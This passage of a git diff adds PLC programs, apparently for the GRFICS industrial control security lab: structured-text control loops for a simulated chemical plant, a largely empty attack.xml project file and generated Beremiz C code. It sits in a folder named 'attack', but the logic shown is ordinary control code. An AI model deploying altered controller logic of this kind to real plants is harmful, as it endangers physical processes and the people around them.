real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + 